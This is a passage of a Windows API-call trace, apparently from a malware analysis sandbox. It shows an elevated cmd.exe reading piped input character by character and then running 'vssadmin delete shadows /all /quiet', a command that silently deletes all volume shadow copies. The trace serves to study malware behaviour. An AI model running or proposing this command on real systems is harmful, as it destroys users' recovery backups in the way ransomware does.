cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0057.970] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.970] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.970] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.970] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0057.970] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.970] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.970] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.970] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0057.970] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.970] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.970] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.970] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0057.970] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.970] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.970] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.970] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0057.970] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.970] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.970] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.970] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0057.970] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.970] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.970] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.970] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0057.970] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.970] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.971] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.971] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0057.971] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.971] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.971] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.971] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0057.971] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.971] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.971] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.971] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0057.971] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.971] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.971] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.971] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0057.971] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.971] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.971] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.971] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0057.971] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.971] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.971] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.971] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0057.971] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.971] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.971] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.971] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0057.972] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.972] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.972] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.972] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0057.972] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.972] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.972] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.972] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0057.972] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.972] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.972] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.972] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0057.972] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.972] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.972] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.972] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0057.972] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.972] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.972] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.972] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0057.972] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.972] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.972] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.972] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0057.972] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.972] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.973] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.973] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0057.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.973] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.973] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.973] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0057.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.973] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.973] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.973] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0057.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.973] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.973] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.973] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0057.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.973] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.973] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.973] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0057.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.973] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.973] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.973] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0057.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.973] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.973] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.973] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0057.973] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.973] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.974] ReadFile (in: hFile=0xe8, lpBuffer=0x4a4ac320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x24fc18, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesRead=0x24fc18*=0x1, lpOverlapped=0x0) returned 1 [0057.974] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a4ac320, cbMultiByte=1, lpWideCharStr=0x4a4ae366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0057.974] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.974] GetFileType (hFile=0xe8) returned 0x3 [0057.974] _get_osfhandle (_FileHandle=0) returned 0xe8 [0057.974] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0057.974] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.974] GetFileType (hFile=0xf4) returned 0x3 [0057.974] _get_osfhandle (_FileHandle=1) returned 0xf4 [0057.974] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a4ac320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0057.974] WriteFile (in: hFile=0xf4, lpBuffer=0x4a4ac320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x24fbf8, lpOverlapped=0x0 | out: lpBuffer=0x4a4ac320*, lpNumberOfBytesWritten=0x24fbf8*=0x24, lpOverlapped=0x0) returned 1 [0057.974] GetProcessHeap () returned 0x360000 [0057.974] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x4012) returned 0x37f630 [0057.974] GetProcessHeap () returned 0x360000 [0057.974] HeapFree (in: hHeap=0x360000, dwFlags=0x0, lpMem=0x37f630 | out: hHeap=0x360000) returned 1 [0057.975] GetProcessHeap () returned 0x360000 [0057.975] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xb0) returned 0x3797e0 [0057.975] GetProcessHeap () returned 0x360000 [0057.975] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x22) returned 0x374610 [0057.975] GetProcessHeap () returned 0x360000 [0057.975] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x48) returned 0x37aa90 [0057.975] GetConsoleOutputCP () returned 0x4e3 [0057.976] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a4abfe0 | out: lpCPInfo=0x4a4abfe0) returned 1 [0057.976] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0057.976] GetConsoleTitleW (in: lpConsoleTitle=0x24fbb0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0057.976] GetProcessHeap () returned 0x360000 [0057.976] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x218) returned 0x379910 [0057.976] GetProcessHeap () returned 0x360000 [0057.976] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x5a) returned 0x379b30 [0057.976] GetProcessHeap () returned 0x360000 [0057.976] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x420) returned 0x379090 [0057.976] SetErrorMode (uMode=0x0) returned 0x0 [0057.976] SetErrorMode (uMode=0x1) returned 0x0 [0057.976] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3790a0, lpFilePart=0x24f440 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24f440*="Desktop") returned 0x25 [0057.976] SetErrorMode (uMode=0x0) returned 0x1 [0057.976] GetProcessHeap () returned 0x360000 [0057.976] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379090, Size=0x6e) returned 0x379090 [0057.976] GetProcessHeap () returned 0x360000 [0057.976] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379090) returned 0x6e [0057.976] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0057.976] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0057.976] GetProcessHeap () returned 0x360000 [0057.976] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x128) returned 0x375b70 [0057.976] GetProcessHeap () returned 0x360000 [0057.976] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x240) returned 0x361ab0 [0057.977] GetProcessHeap () returned 0x360000 [0057.977] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x361ab0, Size=0x12a) returned 0x361ab0 [0057.977] GetProcessHeap () returned 0x360000 [0057.977] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x361ab0) returned 0x12a [0057.977] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a49f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0057.977] GetProcessHeap () returned 0x360000 [0057.977] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0xe8) returned 0x379db0 [0057.977] GetProcessHeap () returned 0x360000 [0057.977] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379db0, Size=0x7e) returned 0x379db0 [0057.977] GetProcessHeap () returned 0x360000 [0057.977] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379db0) returned 0x7e [0057.977] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0057.977] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0xffffffffffffffff [0057.977] GetLastError () returned 0x2 [0057.977] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0xffffffffffffffff [0057.977] GetLastError () returned 0x2 [0057.977] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0057.977] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0x379ba0 [0057.978] FindClose (in: hFindFile=0x379ba0 | out: hFindFile=0x379ba0) returned 1 [0057.978] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0xffffffffffffffff [0057.978] GetLastError () returned 0x2 [0057.978] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x24f1b0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1b0) returned 0x379ba0 [0057.978] FindClose (in: hFindFile=0x379ba0 | out: hFindFile=0x379ba0) returned 1 [0057.978] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0057.978] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0057.978] GetConsoleTitleW (in: lpConsoleTitle=0x24f700, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0057.978] GetProcessHeap () returned 0x360000 [0057.978] RtlAllocateHeap (HeapHandle=0x360000, Flags=0x8, Size=0x21c) returned 0x379110 [0057.978] GetConsoleTitleW (in: lpConsoleTitle=0x379120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0057.978] GetProcessHeap () returned 0x360000 [0057.978] RtlReAllocateHeap (Heap=0x360000, Flags=0x0, Ptr=0x379110, Size=0xc0) returned 0x379110 [0057.978] GetProcessHeap () returned 0x360000 [0057.978] RtlSizeHeap (HeapHandle=0x360000, Flags=0x0, MemoryPointer=0x379110) returned 0xc0 [0057.979] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0057.979] GetProcessHeap () returned 0x360000 